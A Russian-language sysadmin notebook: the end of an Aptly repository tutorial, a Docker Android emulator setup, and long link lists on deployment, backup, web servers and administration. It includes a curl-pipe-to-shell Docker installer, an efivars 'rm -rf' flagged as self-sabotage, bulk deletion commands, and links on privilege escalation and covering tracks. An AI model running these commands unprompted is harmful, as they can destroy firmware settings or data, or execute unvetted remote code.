подождите пару минут, чтобы на диске создался файл приличного размера, затем прервите операцию нажав Ctrl+C.
Далее выполните:

# dd if=random of=/dev/null iflag=direct

и снова смотрите в файл /proc/sys/kernel/random/entropy_avail. В какой-то момент уровень энтропии поднимется до 800 и GPG сможет сгенерировать свой ключ.
Сохраните ключ в надежном месте. Для этого заархивируйте файл .gnupg в домашнем каталоге пользователя repokeeper и скопируте его для хранения или передачи иному пользователю.

# tar -czvf gnupg.tar.gz ~/.gnupg

На этом установка aptly закончена.

Настройка и работа с Aptly


Создание зеркала

Допустим имеется репозиторий разработчиков, который надо поставить на контроль версий публикуемых пакетов и вести его мониторинг. Для этого на нашем сервере с помощью установленного пакета Aptly создадим зеркало исходного репозитория разработчиков.
Перед созданием зеркала, сначала нужно импортировать открытый ключ удаленного репозитория в хранилище ключей:

# wget -O - http://repo.dev.domain.ru/repo.gpg.key | gpg --no-default-keyring --keyring trustedkeys.gpg –-import

Основной конфиг создайте из автосоздаваемого ~/aptly.conf в /etc/aptly.conf с указанием корневого каталога. В домашней папке конфиг удалите. Дело в том, что aptly сначала ищет конфигурационный файл в домашнем каталогк, затем в директории /etc.
Содержание файла aptly.conf:

cat /etc/aptly.conf



Создайте зеркало нужной ветки:

# aptly mirror create -architectures=amd64 repo-precise-1-main http://repo.dev.domain.ru/repo precise-1 main

где repo-precise-1-main произвольное имя нашего зеркала.
Aply любезно сообщит, что можно сделать дальше: "You can run 'aptly mirror update repo-precise-1-main' to download repository contents."

Запустите обновление зеркала:

# aptly mirror update repo-precise-1-main

Файлы сохраняются в rootdir/.aptly/pool/ в нашем случае в /var/cache/aptly/pool

Информация о зеркале:

# aptly mirror show repo-precise-1-main

Редактировать зеркало:

# aptly mirror edit -architectures="i386,amd64" repo-precise-1-main

Создание снимка (snapshot)


Создайте snapshot:

# aptly snapshot create repo-precise-1-main-20150505 from mirror repo-precise-1-main
где repo-precise-1-main-20150505 произвольное имя снимка.

Снэпшот не занимает дополнительного места на диске, хранит только список пакетов.
Можно создавать снэпшот в любое время. Затем можно объеденить (MERGE) несколько снепшотов в один с разной стратегией (Flag -latest chooses merge strategy: package with latest version “wins”):

# aptly snapshot merge -latest wheezy-final-20141009 wheezy-main-7.6

Проверка:

# aptly package show -with-references 'Name (nginx)'

Посмотреть список снепшотов:

# aptly snapshot list

Сравнить снепшоты:



Публикация снепшота


Опубликовать репозиторий из снепшота:

# aptly publish snapshot -architectures="i386,amd64" repo-precise-1-main-20150506

Указание -architectures="i386,amd64" обязательно, несмотря на то, что в документации сказано, что по умолчанию публикуются все доступные архетектуры.

При запросе ввести пароль (2 раза) от ключа GPG созданного ранее.
Если публикуется объедененный снепшот, то имя ветки нужно указать явно, например:

# aptly publish snapshot -distribution=wheezy wheezy-final-20141009

Посмотреть какой снепшот опубликован на текущий момент:

# aptly publish list

Сравнить с предыдущим снепшотом:

# aptly snapshot diff repo-precise-1-main-20150505 repo-precise-1-main-20150506-1

При наличии изменений опубликовать новый снепшот вместо предыдущего:

# aptly publish switch precise-1 repo-precise-1-main-20150506-1

При запросе ввести пароль (2 раза) от gpg ключа.

Удалить снепшот:

# aptly snapshot drop repo-precise-1-main-20150506

Нельзя удалить опубликованный снепшот, сначала надо опубликовать новый снепшот, затем удалить старый при необходимости.

Поместите публичный ключ в public:

# gpg --export --armor > /var/cache/aptly/public/repo.gpg.key


Доступ к репозиторию по протоколу HTTP


Для того, что наш репозиторий был доступен из браузера по http нужно установить и настроить вебсервер Apache.

# apt-get install apache2

Теперь нужно настроить вебсеревер так, что бы опубликовать директорию с нашим репозиторием '/var/cache/aptly/public' с опцией autoindexing.

Для этого создайте файл /etc/apache2/sites-available/aptly.conf следующего содержания:



Файлы логов должны быть созданы заранее и доступны для записи пользователю, от имени которго запускается Apache. В ubuntu это www-data:

# touch /var/log/apache2/aptly-error.log
# touch /var/log/apache2/aptly-access.log

Находясь в директории /etc/apache2/sites-available/ выполните:

# a2ensite aptly.conf

эта команда создаст алиас для файла конфигурации в /etc/apache2/sites-enabled/.

Перезапустите Apache:

# service apache2 reload

Теперь репозиторий будет доступен из браузера по адресу: http://your-server
Не забудьте проверить настройки файрвола.

Настройки на стороне клиента


Что бы подключить к нашему репозиторию новую машину и устанавливать из него пакеты добавьте в /etc/apt/sources.list прямым редактированием файла строку:

deb http://your-server/ precise-1 main
или выполнив команду:

# add-apt-repository 'deb http://your-server/ precise-1 main'
И импортируйте ключ репозитория:

# wget -O - http://repo.domain.ru/repo.gpg.key | sudo apt-key add -
или добавить ключ локально:

# apt-key add repo.gpg.key


Прочие дополнения


Для удобства пользователей можно разместить напоминание в виде html странички о том, как установить GPG ключ. Для этого в корне директории /var/cache/aptly/public/создайте файл readme.html:

sudo nano /var/cache/aptly/public/readme.html



В добавок ко всему Aptly обладает такой замечательной возможностью, как графическое отображение структуры репозитория в виде изображения в формате .png


Формирование картинки:

# aptly graph
Созданный .png файл скопируйте к себе на рабочий стол, например с помощью WinSCP.

Вот, что может получиться:



Troubleshooting


Ошибка при смене снэпшота:

# aptly publish switch trusty repo-trusty-1-main-20150904-01
Loading packages...
Generating metadata files and linking package files...
ERROR: unable to publish: unable to process packages: error linking file to /var/cache/aptly/public/pool/main/a/activiti/activiti.deb: file already exists and is different

Это происходит, когда версия файла в исходном репозитории сменилась, а сам файл остался тот же. В этом случае удалить файл по указанному пути и переопубликовать снепшот:

# aptly publish switch trusty repo-trusty-1-main-20150904-01

Публикации по теме:
Об Aptly: http://habrahabr.ru/post/225825/
Генерация gpg ключа: https://debian.pro/1424

Aptly – свой репозиторий с контролем версий
Настройка и управление репозиторием Debian с помощью Aptly
локальный репозиторий debian или ubuntu

Для тестирования хороших и не очень инструментов под Android, :) необходима реальная платформа в виде настоящего телефона/планшета или же виртуальный эмулятор ее. В этом посте, я подготовил небольшую инструкцию, как поднять эмулятор Android у себя на компьютере с помощью Docker, быстро и бесплатно. Которая может кому-либо пригодится.



1. Обновляем систему.
apt update && apt upgrade -y

2. Устанавливаем Docker.


Следом docker-compose.


Включаем сервис.
systemctl enable docker && systemctl start docker

Перезагружаемся.
reboot

3. Подготовим docker-compose.
mkdir ~/docker && nano ~/docker/docker-compose.yml



4. Запускаем образ.
cd ~/docker && docker-compose up -d

После того как наш образ загрузится, открываем браузер (Chrome, Firefox), и переходим по адресу: http://IP:6080
и получаем наш Nexus 5, с Android 7.1.1.

5. Остановить приложение.
cd ~/docker && docker-compose down

Несколько замечаний:

1. Тестировалось на Kali 2017.3 64, с небольшими изменениями можно запустить на Ubuntu/Debian, на Windows необходимо установить
docker и docker-compose своим способом.

2. Оперативной памяти на VM/Хосте должно быть выделено не менее 2GB для успешного запуска эмулятора.

3. Если вы выполняете эти действия на виртуальной машине, как и я, необходимо включить "Nested Virtualization" в настройках вашего гипервизора.
Здесь инструкции как это сделать для vmware. Но нужно учесть что, из-за вложенной виртуализации CPU, заметно пострадает производительность,
в эмуляторе.

Официальный репозиторий проекта.

На Ubuntu/Debian изменения только в установке самого Docker, делается одной командой:

curl -sSL https://get.docker.com/ | CHANNEL=stable sh

https://codeby.net/threads/ustanavlivaem-ehmuljator-android-7-1-pod-kali-linux.61809/
https://medium.com/@AndreSand/android-emulator-on-docker-container-f20c49b129ef
j2me в ubuntu
https://code.google.com/archive/p/microemu/downloads

запуск waydroid в ubuntu



полезное для серваков

заглянуть под кат
образы OS

варианты установок

http://help.ubuntu.ru/wiki/загрузка_ubuntu_с_iso
Руководство по установке Debian GNU/Linux
Загрузка и Запуск Программы Установки

Установка Debian GNU/Linux из системы Unix/Linux
Подготовка файлов для загрузки с карты памяти USB

Установка Archlinux c полным шифрованием системы и LVM на LUKS

как собрать настраиваемый initramfs
Установка Ubuntu Linux с винчестера. Скрипт

Установка FreeBSD на раздел реального диска из-под другой ОС

Автоматическая установка Debian
Развертывание различных дистрибутивов Linux в корпоративной среде
Ускоренное импортозамещение или как разворачивать Linux-дистрибутив БЕЗ помощи SCCM в распределённой корпоративной сети

Автоматическая установка centos с kickstart

http://www.rodsbooks.com/refind/getting.html
Настройка UEFI Dual Boot системы, приправленной rEFInd
Укрощаем UEFI SecureBoot
https://www.altlinux.org/UEFI
https://wiki.archlinux.org/index.php/Systemd-boot_(Русский)
https://wiki.archlinux.org/index.php/REFInd_(Русский)
Настройка UEFI Dual Boot системы, приправленной rEFInd
Как создать образ диска в Linux с несколькими разделами, не имея физического образца
Захват и применение Windows изображения с помощью одного. WIM-файл
Установка Ubuntu для машин без VGA

Домашнее облако⁠⁠
Домашний медиа сервер/хранилище данных своими руками⁠⁠
XPEnology и домашний NAS
Установка Xpenology на ESXi и настройка виртуального видеонаблюдения
Устанавливаем XPEnology на Proxmox

Загрузочный образ Acronis + VNC + VPN

как залить образ с виртуалки на железо
https://github.com/alex5250/replace-tv-os
из .vdi мы сделаем .img образ
VBoxManage clonemedium --format RAW Debian.vdi debian.img
Гружусь с livecd, и сожму основной раздел до 10GB удаляю swap и создаю новый, перезагружаюсь lsblk -f узнаем новые UUID разделов правлю /etc/fstab, опять гружусь в livecd и корректирую размер образа
sudo truncate --size=$[(22978559+1)*512] 'debian.img'
затем подключаюсь к железке двумя флешками, загружаюсь с livecd, заливаю полученный .img с помощью dd


сетевая установка PXE
http://help.ubuntu.ru/wiki/установка_ubuntu_по_сети
Установка и настройка инструментов, позволяющих использовать Debian систему в качестве источника PXE загрузки ОС (Linux, Windows и прочее.)
PXEBootInstall Installing Debian using network booting
Загрузка по TFTP
Автоматическая Установка Debian 7 Wheezy По Сети
Загрузочный сервер — как загрузочная флешка, только сервер и по сети
iPXE — заливка linux, windows, утилит по сети
PXE Boot за 15 минут
Мультизагрузочный PXE-реаниматор
Настройка сетевой загрузки (PXE) на CentOS7 для загрузки живой системы или загрузочного образа.
Централизованная установка Linux
Загрузка iso образа настроенной под себя Ubuntu по сети.
PXE Boot. Бездисковые устройства. Загружаемся по сети.
https://wiki.archlinux.org/index.php/PXE_(Русский)
Установка Debian удалённо: PXE + SSH
Установка Debian 9 (Stretch) через PXE сервер сетевой загрузки
Загрузка ERD Commander по сети
Создаем универсальный Install Server для автоматической сетевой инсталляции Linux и Windows на основе Cobbler
Hiren’s Boot CD 15.2 и загрузка его по сети (PXE)
Делаем аварийный загрузочный образ WinPE на базе Windows 7. (с возможностью установки Win7/8/10)
Дистрибутивы PXE
PXE-сервер, сервер для загрузки различных ОС через сеть.
Эмуляция восстановления при загрузке Acronis True Image с помощью syslinux/extlinux
Создание загрузочного диска Windows PE с .NET Framework и PowerShell
Быстрая установка ОС по сети из Windows
https://www.iventoy.com/en/download.html

https://netboot.xyz/
https://netboot.xyz/booting/ipxe/
Админу на заметку - 26. Как установить любой популярный Linux по сети используя netboot.xyz


PXE тонкие клиенты
https://ru.m.wikipedia.org/wiki/Thinstation
Разворачиваем сеть тонких клиентов Thinstation с подключением к серверу Windows Server 2012 R2 Remote Desktop Services
Thinstation Доработка тонкого клиента (Русификация и другие исправления терминального клиента Thinstation)
Пересаживаем офис на тонкие клиенты под управлением Thinstation
Создание образа (ов) Thinstation desktop OS.
Терминальный клиент poniX на базе GNU/Linux и скриптов Thinstation
Thinstation по русски
Всё о лёгком подключении тонкого клиента

http://wtware.ru/
https://matchbox.psdn.io/
https://github.com/poseidon/matchbox


сборка образов под свои нужды

записать на флешку, софт для записи, ошибки при установке


набор ПО
https://wiki.debian.org/ru/CreateLocalRepo
http://help.ubuntu.ru/wiki/создание_зеркала_репозитория
https://centos.name/?page/howto/CreateLocalRepos
https://fedoraproject.org/wiki/Ru_RU/HowTo/Локальный_репозиторий_пакетов
https://wiki.russianfedora.pro/index.php?title=Создание_локального_репозитория
Создание собственного локального репозитория Centos
CentOS: создание локального репозитория
Aptly — создание собственного репозитория
Централизованная система обновления пакетов в Ubuntu
Локальные репозитории пакетов

https://openbuildservice.org/
https://wiki.debian.org/AutomateBackports


установка Linux-кластера
Установка большого Linux-кластера Часть 1. Введение и аппаратная конфигурация
Установка большого Linux-кластера Часть 2. Конфигурирование управляющего сервера и установка узла
Установка большого Linux-кластера Часть 3. Система хранения данных и файловые системы с совместным доступом
Установка большого Linux-кластера Часть 4. Установка узлов и настройка GPFS-кластера
------------------------------------------------------------------------
Установка Consul в Unix/Linux
Установка Consul кластера в Unix/Linux
------------------------------------------------------------------------
Создание базовой виртуальной машины в Azure с помощью Ansible
Создание готовой среды виртуальных машин Linux в Azure с помощью Ansible


развернуть винду
Сетевая установка Windows в ЛВС
Быстрая установка ОС по сети из Windows
WDS (Windows Deployment Services). Быстрое развертывание клиентских машин с сервера. Создание образа развертывания WIM
Добавляем WDS универсальности
WDS (Windows Deployment Services). Быстрое развертывание клиентских машин с сервера. Создание образа развертывания WIM
Развертываем Windows по сети с использованием Windows Deployment Services
Установка Windows 10 по сети с помощью MDT 2013 и WDS
Развертывание образа Windows 10 с помощью MDT 2013 с обновлением 1
Особенности установки Windows через сеть
Развёртывание ОС Windows Server 2012 R2 на серверы Dell в режиме BARE-METAL. Часть 1
Развёртывание ОС Windows Server 2012 R2 на серверы Dell в режиме BARE-METAL. Часть 2
Автоматизация установки клиентских операционных систем при помощи Windows Deployment Services. Часть I. Установка.
Пошаговое руководство по работе со службами развертывания Windows в ОС Windows Server 2008
Установка FOD совместимости приложений
Захват и применение Windows изображения с помощью одного. WIM-файл
Быстрый поиск драйверов на сайте Microsoft


Cтроим инфраструктуру на базе продуктов MS
Почему я люблю Microsoft. Заметки зомби
Строим инфраструктуру на базе продуктов MS

Установка Win 11 с локальной учетной записью
На первом экране OOBE нажать Shift+F10 и ввести oobe\bypassnro (без пробела!)
Компьютер уйдёт в перезагрузку и на экране подключения к интернету появится пункт У меня нет интернета.

Как установить Windows на USB диск
Как установить Windows 11 и Kali Linux на одну флешку

Живительная флешка
http://www.system-rescue-cd.org/


Загрузчик
http://help.ubuntu.ru/wiki/uefiboot
Настройка UEFI-загрузчика. Самое краткое руководство в мире
Настройка UEFI Dual Boot системы, приправленной rEFInd
Инструкция по установке с EFI

efibootmgr --help
efibootmgr # получили список всех возможных загрузчиков для efi
efibootmgr -B -b XXXX # удалили ненужную запись
efibootmgr -c -L "..." -l "..." # добавили новую
efibootmgr --bootorder XXXX,YYYY,ZZZZ # изменили порядок загрузки
rm -rf /sys/firmware/efi/efivars/* # выстрелить себе в ногу и биться головой об стол





полезное для серваков, установка

заглянуть под кат

Установка


Настройки



Debian 8 настройка сервера
Как настроить сетевые параметры в Debian
Сетевые интерфейсы
Установка Debian через ssh.
CentOS 7 настройка сервера
Настройка сети в CentOS 7
Сетевые настройки в CentOS 7
Настройка DHCP-сервера на CentOS 6
Обновление Freebsd 10.3 до 11.0
Лабораторная работа «Обучаемся настраивать сети в GNU/Linux»
Systemd за пять минут
Шпаргалка по управлению сервисами CentOS 7 с systemd
Альт Сервер 8.0 Документация
https://wiki.archlinux.org/index.php/Systemd_(Русский)
Самостоятельная настройка VDS / VPS
Настройка Linux для высоконагруженных проектов и защиты от DDoS
Автоматическая перезагрузка сервера на Unix/Linux при Kernel panic
cat /proc/sys/kernel/panic
echo "30" > /proc/sys/kernel/panic

Аутентификация Samba в домене Windows
Включение Samba-сервера на базе Ubuntu в домен AD
Setting up Samba as an Active Directory Domain Controller

Как настроить OpenLDAP и выполнить административные задачи LDAP

статьи по Active Directory
Терминальный сервер на Windows Server 2012 в рабочей группе
Как установить и настроить пространство имен DFS
Windows Server Создание отказоустойчивого кластера
Создание отказоустойчивого кластера высокой доступности на Windows.
создание отказоустойчивого кластера
Кворумные модели в Windows Server 2012 R2
Общие сведения о кворуме кластеров и пулов
Использование общих томов кластера в отказоустойчивом кластере
Развертывание кластерных пространств хранения
Настройка хранилища iSCSI на Windows Server 2012R2
Настройка iSCSI-хранилища в Windows Server 2012 R2
Как подключить ISCSI диск из Windows Server 2008 R2 в Windows
Как настроить функцию Microsoft многопутевого ввода-вывода для тома StorSimple в Windows Server 2008 R2

Как понять, что происходит на сервере

IPv6
http://www.test-ipv6.com/
https://tunnelbroker.net/
Miredo: установка IPv6 в GNU/Linux за 1 минуту
IPv6 под прицелом


диски
lvm и mdadm
Настольная книга администратора Debian 12.1. RAID и LVM
LVM поверх RAID
Расширение диска/раздела находящегося под Software Raid и LVM
Уменьшение виртуального диска с LVM
Пример создания системы c MDadm+LVM
Как создать RAID массивы с помощью mdadm на Debian 9
Настраиваем RAID1+LVM (для снапшотов файловой системы) в Hetzner и ServerLoft
Создание RAID 1 (зеркало) из 2 дисков на запущенной ОС




работа с сетевыми интерфейсами

Безопасность



http://help.ubuntu.ru/wiki/iptables
https://ru.wikibooks.org/wiki/Iptables
https://fedoraproject.org/wiki/FirewallD/ru
Debian: настройка и управление IPTABLES
Настройка iptables в CentOS 7
Шпаргалка по параметрам fierwalld-cmd или опять настройка firewalld
Готовим CentOS 7. Установка и настройка firewalld
Linux: IPTABLES – руководство: часть 1 – основы IPTABLES
21 пример использования iptables для администраторов.
ufw - простой Firewall
ipfw Примеры из жизни
Блокировка сайтов с помощью ipfw на FreeBSD

firewall-cmd настройка брадмаузера

Системы защиты Linux
------------------------------------------------------------------------
статьи по Active Directory
Как запретить или разрешить доступ к определенным сайтам в Internet Explorer
AppLocker в Windows 7. Блокируем сторонние браузеры
------------------------------------------------------------------------
Заблокировать IP через .htaccess

------------------------------------------------------------------------
Централизованное обновление сертификатов Let's Encrypt
Как выпустить самоподписанный SSL сертификат и заставить ваш браузер доверять ему

Оповещение на email когда подключились через SSH
vim ~/.bashrc


SSH уведомление об авторизации
vim /etc/ssh/sshrc



------------------------------------------------------------------------
логи windows

Вертим логи как хотим ― анализ журналов в системах Windows
Повышение привилегий в Windows-среде
Как посмотреть логи windows
10 критически важных event ID для мониторинга Windows
Простой поиск недавно измененных файлов в Windows
https://docs.microsoft.com/ru-ru/windows/deployment/upgrade/log-files
логи открываемых файлов
C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent
файлы логов
C:\Windows\System32\LogFiles\

Log Parser
Log Parser Studio

Отчет о VPN подключениях в ISA
Как узнать с каких IP заходили на мой сервер через удаленный рабочий стол (RDP)?

Обзор криминалистических артефактов Windows
Как сбросить пароль администратора домена
Сброс или изменение пароля Windows с помощью Linux
Как сбросить пароль Windows
Как УЗНАТЬ пароль Windows?

Commando VM: Windows для хакеров
Утилиты NirSoft для извлечения информации из Windows

изменение времени файлов, удаление истории посещения и команд в linux


------------------------------------------------------------------------

https://ssd.eff.org/ru/
https://privacytools.ru/
http://www.cypherpunks.ru/Links.html#Links
https://www.cryptoparty.in/learn/handbook
https://ru.thatoneprivacysite.net/

VPN, Proxy и тд

уязвимости
https://www.debian.org/security/
https://people.canonical.com/~ubuntu-security/cve/
https://cve.mitre.org/data/refs/refmap/source-DEBIAN.html
https://cve.mitre.org/data/refs/index.html
https://access.redhat.com/security/security-updates/#/cve
https://www.openwall.com/lists/oss-security/
CVE-2014-0196
Как попасть на дачу президента в пять часов утра
Как СОРМ сливает наши с вами данные всем желающим
Китайские закладки: непридуманная история о виртуализации, безопасности и шпионах — «Хакер»


Аутентификация беспроводных клиентов по учетным записям Active Directory
Шаг за шагом: Миграция Active Directory Certificate Service с Windows Server 2003 на Windows Server 2012 R2
Step-By-Step: Migrating The Active Directory Certificate Service From Windows Server 2003 to 2012 R2




Бэкап



http://help.ubuntu.ru/wiki/backup
http://help.ubuntu.ru/wiki/руководство_по_ubuntu_server/резервное_копирование/bacula
https://www.bareos.org/en/download.html
Бэкап с помощью Open Source решения — Bareos
Резервное копирование с помощью Bareos и Relax-and-Recover
Разбираемся с томами Bacula/Bareos
Bareos (Bacula). Облегчаем развертывание и добавление заданий.
Настройка и понимание Bacula
Bacula: для тех кому надо по-быстрому и в картинках
Как сделать резервную копию сервера CentOS 7 с помощью Bacula
TimeShift — создание резервных копий и восстановление систем Linux
http://www.fsarchiver.org/

WBADMIN – управление резервным копированием в Windows
Создание архива состояния системы с помощью командной строки
Бэкап данных виртуальной машины средствами windows backup(Система архивации данных Windows Server)
Бэкапы виртуальных машин Hyper-V и обычных компьютеров
Настраиваем Hyper-V Replica в Windows Server 2012
Настройка Hyper-V Replica в Windows Server 2012
Как я перестал беспокоиться и полюбил репликацию Hyper-V
Репликация в Hyper V 3
Настройка iSCSI хранилища в Windows Server 2012

Резервное копирование в Veeam Agent for Microsoft Windows Free

Миграция ролей и функций в Windows Server

Руководство пользователя FreeNAS (версия 0.686)
FreeNAS (backup) — организация бэкапа
Создаем сетевое хранилище на основе FreeNAS
Резервное копирование во FreeNas

Сетевой накопитель QNAP HS-210
Сравнение способов резервного копирования
Краткий обзор open source средств резервного копирования

Rsync: мощная утилита для быстрого, гибкого удаленного и локального копирования файлов
RSync. Примеры использования
http://wiki.dieg.info/rsync
Rsync настройка бэкапа на CentOS/Debian/Ubuntu
Бэкап большого количества мелких файлов
Настройка резервного копирования в Ubuntu за 20 минут
резервное копирование rsync-ом
Easy Automated Snapshot-Style Backups with Linux and Rsync
rsync SSH синхронизация файлов в Linux

Rclone Browser — удобный Qt графический интерфейс (GUI) для консольной утилиты Rclone
rdiff-backup examples
Резервное копирование на удаленный сервер
Backup linux сервера с помощью Duplicity
Бэкап Linux при помощи tar
Cкрипт инкрементального и полного бэкапов
Python: скрипт инкрементального или полного бекапа файлов

Сборка недорогой домашней NAS-системы на Linux

https://www.percona.com/software/mysql-database/percona-xtrabackup
https://ru.bmstu.wiki/Percona_XtraBackup

Архивирование и восстановление файлов с сохранением мандатных атрибутов
------------------------------------------------------------------------
всякое полезное
Клонирование linux


------------------------------------------------------------------------
удалить файлы старше 500 дней
find /mnt/DATAMAIN2/BACKUPS/ -type f -mtime +500 -exec rm -rf {} \;


сохранить систему в образ
e2image -ar /dev/sdX ~/sdaX.img

Ncftp - передача данных по сети
tar -czf - /var | ncftpput -u USERNAME -p USERPASS -c SERVERNAME var.tar.gz
где

/var - в моем частном случае, раздел, который необходимо забекапить
USERNAME - логин для авторизации на FTP-сервере
USERPASS - пароль для авторизации на FTP-сервере
SERVERNAME - FQDN или IP-адрес FTP-сервера


https://www.dropbox.com/ru/
https://mega.nz/
https://www.sync.com/
https://nextcloud.com/
https://syncthing.net/

https://www.microfocus.com/en-us/products/vm-server-backup/overview
https://www.veeam.com/ru


Web



Что такое highload

nginx
https://nginxconfig.io/
Оптимальная настройка Nginx
Установка Nginx, PHP-FPM, MariaDB на CentOS 7 / RHEL 7
Ограничить скорость загрузки в Nginx
Виртуальный хост для отдельного пользователя с PHP-FPM и nginx
Как установить Nginx на CentOS / RHEL
Блокировка соединений используя Nginx

Установка nginx в контейнере на Docker
nginx+cgi
NGINX: uWSGI для запуска Python на CentOS
Setting up Django and your web server with uWSGI and nginx
Setting up Nginx and uWSGI for CGI scripting
Django. Запуск проекта в связке uWSGI и Nginx
CGI: пишем простой сайт на Python. Часть 4: Публикация в сети Интернет
Запускаем Python-приложения (Django, Flask, etc) через nginx и uwsgi на Ubuntu 12.04
uWSGI: добавление обработки CGI-сценариев
Развёртывание Django с uWSGI
Django на production. uWSGI + nginx. Подробное руководство
Как настроить nginx + gunicorn + web.py?
Django + Python3 + Nginx + Gunicorn + DO
Настраиваем Django + virtualenv + nginx + gunicorn + PostgreSQL + memcached + letsencrypt на Ubuntu 16.04
Django - Урок 001. Развёртывание сайта на Django + PostgreSQL + Gunicorn + Nginx
Как установить Django + Postgres + Nginx + Gunicorn на Ubuntu 14.04.
Настройка Gunicorn и uWSGI, сравнение производительности


Установка Nginx и Apache в связи в CentOS
Добавление виртуальных хостов на nginx (самое простое)
How to Install Nginx, MySQL, PHP v7 (LEMP) stack on CentOS 7
Установка и настройка LAMP ( Linux, Apache, MariaDB, PHP) c PHP 7 на Debian 8
Большой Мануал по настройке lamp-сервера на Debian
скачать скрипт для установки веб-сервера на CentOS


FTP и тд.



https://wiki.debian.org/ru/vsftpd
Debian, ftpd, vtpd, vsftpd. Very fast way.
Настройка FTP сервера в Debian 5 (Lenny) Золкин А. Н.
help.ubuntu TFTP
https://help.ubuntu.com/community/TFTP
Быстрый запуск TFTP-сервера (BOOTP) в CentOS 6
Быстрая и простая настройка samba
Настройка файлового сервера Samba на платформе Debian / Ubuntu

https://ip-calculator.ru/blog/ask/kak-ustanovit-freeradius-na-ubuntu/


DNS, BIND



Простая настройка DNS сервера BIND9 на Debian 7 Wheezy
Настройка DNS сервера под управлением bind 9 на debian linux.
Установка Bind 9 (named) в CentOS 7
Настройка Обратной DNS Зоны — PTR Запись
Настройка DNS на Windows Server 2008 R2


Bridge



https://www.freebsd.org/doc/ru/books/handbook/network-bridging.html
Как сделать мост (bridge) на FreeBSD
Простой способ раздачи интернета в сети
Фильтрующий мост между сетевыми интерфейсами
Роутер на Freebsd 10 для доступа в интернет
Пошаговая настройка роутера на Debian 8 jessie

Строим туннели. Разбираемся с новинками VPN


Мониторинг



Более чем 80 средств мониторинга системы Linux
Nagios
https://www.nagios.org/
http://xgu.ru/wiki/Nagios
http://help.ubuntu.ru/wiki/руководство_по_ubuntu_server/мониторинг/nagios
Nagios - установки и настройка
Настройка мониторинга MySQL в Nagios
Полный мониторинг системы при помощи Nagios 4
Свой сервер мониторинга с nagios и cacti
Отправка SMS из Nagios

проверка скорости интернета в консоли


Zabbix
https://www.zabbix.com/ru/
https://github.com/jjmartres/Zabbix
https://ru-zabbix.livejournal.com/
https://wiki.yola.ru/zabbix:server
Установка Zabbix
Первоначальная настройка Zabbix
Установка Zabbix-агента 3 на CentOS 7
Установка и настройка Zabbix 3.0 на CentOS 7
Установка и настройка Zabbix 3.4 на Debian 9
Использование Zabbix для мониторинга критических систем - «Хакер»
Правильное обнаружение проблем с помощью Zabbix

Уведомления в Zabbix используя GMail
Zabbix. Полное руководство. 2е изд. Андреа Далле Ваккье

Как понять, что происходит на сервере
Как посмотреть логи windows


Управление



Ansible
https://github.com/ansible
http://docs.ansible.com/ansible/latest/list_of_all_modules.html
http://jinja.pocoo.org/docs/2.10/
https://github.com/leucos/ansible-tuto
https://github.com/UnderGreen?tab=repositories
https://github.com/ansible/awx
https://polemarch.readthedocs.io/en/stable/gui.html
------------------------------------------------------------------------
Ansible для сетевых инженеров Наташа Самойленко
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 1: Введение
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 2: вывод playbook, отладка, повторное использование
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 3: Переменные и файл inventory
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 4: работаем с модулями
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 5: local_action, условия, циклы и роли
КОНФИГУРАЦИЯ VM С VAGRANT И ANSIBLE
Ansible
Об Ansible
Ansible с чего начать
Введение в Ansible
Ansible знакомимся с системой на примерах.
Пособие по Ansible
Понимая Ansible
Система управления Ansible
Создание базовой виртуальной машины в Azure с помощью Ansible
Создание готовой среды виртуальных машин Linux в Azure с помощью Ansible
От установки AWX до запуска первого плейбука — настройка централизованного управления Ansible
Ansible для управления конфигурацией Windows. История успеха

Как управлять многостадийной средой развертывания с помощью системы Ansible
Как использовать Ansible: Справочное руководство
Автоматизация начальной настройки сервера с помощью Ansible в Ubuntu 18.04
Управление конфигурацией 101: написание Ansible Playbooks
Управление конфигурацией 101: Написание рецептов шеф-повара
Как использовать Ansible для установки и настройки Docker в Ubuntu 18.04

Ansible для управления конфигурацией Windows. История успеха
MikroTik Ansible

https://letsclearitup.com.ua/tag/ansible
------------------------------------------------------------------------
Ansible. Полное руководство - Видеоуроки
https://coursehunters.net/course/ansible-polnoe-rukovodstvo
------------------------------------------------------------------------
MikroTik / Ansible. Централизованное управление оборудованием
https://www.youtube.com/watch?v=-NfES26eE-c
------------------------------------------------------------------------
techmovs
https://www.youtube.com/watch?v=X0fM4AwiKHY
------------------------------------------------------------------------
Денис Нелюбин - Docker и Ansible — лучшие друзья DevOps
https://www.youtube.com/watch?v=14sj7HTbqoA
------------------------------------------------------------------------
Чистяков Александр: "SaltStack и Ansible — средства управления конфигурацией на языке Python"
https://www.youtube.com/watch?v=iUsI47m8QbQ
------------------------------------------------------------------------

SaltStack
https://www.saltstack.com/
Salt за 10 минут
SaltStack: использование salt-ssh
Инструменты DevOps: Чем хорош SaltStack, и какие задачи с его помощью можно решить

https://cockpit-project.org/running.html
http://www.webmin.com/
Установка и настройка удаленного доступа на CentOS 7 с помощью Webmin

FreeIPA
https://www.freeipa.org/page/Downloads
https://www.freeipa.org/page/Active_Directory_trust_setup
Разворачиваем FreeIPA сервер
Синхронизация пользователей MS Active Directory и FreeIPA
Настройка централизованной аутентификации в CentOS 7 с помощью FreeIPA
Система централизованного управления авторизацией пользователей на FreeIPA в Docker


AD
поиск неактивных пользователей
dsquery user -inactive 4 -limit 1000 > inactive-user.txt
dsquery user -inactive 4 -o samid -limit 1000 > inactive-user1.txt
dsquery user -inactive 4 -limit 1000 | dsget user -display > inactive-user.txt


удаление компов из AD
dsquery computer –inactive 10 | dsrm -noprompt -c
dsquery computer –disabled | dsrm -noprompt -c
dsquery computer -inactive 30 -limit 400 | dsrm -noprompt -subtree -c
http://winitpro.ru/index.php/2015/09/28/powershell-get-adcomputer-poluchenie-dannyx-o-kompyuterax-v-active-directory/
http://winitpro.ru/index.php/2013/01/28/kak-skryt-kontejnery-v-active-directory/

Добавление сетевых дисков с персональными папками для пользователей через GPP на примере Windows Server 2012R2
Базовые приёмы работы с файловым сервером на базе Windows Server

статьи по Active Directory


Виртуализация


Разработка



Jenkins
Как установить Jenkins и настроить автоматическую сборку maven-проекта на Ubuntu 16.04
Разбираемся в запуске тестов в Jenkins (+Maven +TestNG +WebDriver на Java) или туториал новичка
Управление запуском автоматизированных тестов из Jenkins
